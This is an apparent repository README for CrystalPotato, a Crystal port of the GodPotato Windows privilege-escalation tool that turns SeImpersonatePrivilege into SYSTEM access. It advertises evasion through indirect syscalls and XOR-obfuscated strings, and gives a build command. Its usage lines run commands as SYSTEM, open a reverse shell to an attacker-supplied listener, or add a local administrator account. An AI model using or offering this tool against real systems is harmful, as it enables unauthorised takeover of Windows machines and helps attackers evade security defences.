CrystalPotato v1.0

GodPotato in Crystal. Abuse SeImpersonatePrivilege to execute commands, create reverse shells or add admin users as SYSTEM

CrystalPotato

Crystal port of GodPotato, a local privilege escalation from accounts with SeImpersonatePrivilege to SYSTEM. It works by abusing the DCOM OXID Resolver and named pipe impersonation.

Windows APIs are resolved dynamically and invoked through indirect syscall stubs, all strings are XOR-obfuscated at compile time and by default only the command output is printed. Tested on Windows 10, 11 and Server 2025.

CrystalPotato

Build

CrystalPotato compiles to a single file with no dependencies using Crystal on Windows:

crystal build CrystalPotato.cr -o CrystalPotato.exe --release --static

Usage

Execute a command, start a reverse shell, or create a local admin.

CrystalPotato.exe -c <COMMAND>
CrystalPotato.exe -H <LHOST> -P <LPORT> [-c <SHELL>]
CrystalPotato.exe -u <USER> -pw <PASS>
Flag Description
-c CMD Command to execute as SYSTEM or shell for reverse shell (default: cmd.exe)
-H HOST Reverse shell listener Host
-P PORT Reverse shell listener Port
-u USER Create local admin - Username
-pw PASS Create local admin - Password
-p NAME Custom pipe name (default: Crystal)
-d Debug output
-dd Full trace
-h Show help

img2

Sources

Repository

CrystalPotato

Owner
Statistic
  • 0
  • 0
  • 0
  • 0
  • 0
  • about 4 hours ago
  • August 19, 2026
License

Links
Synced at

Sat, 22 Aug 2026 22:04:37 GMT

Languages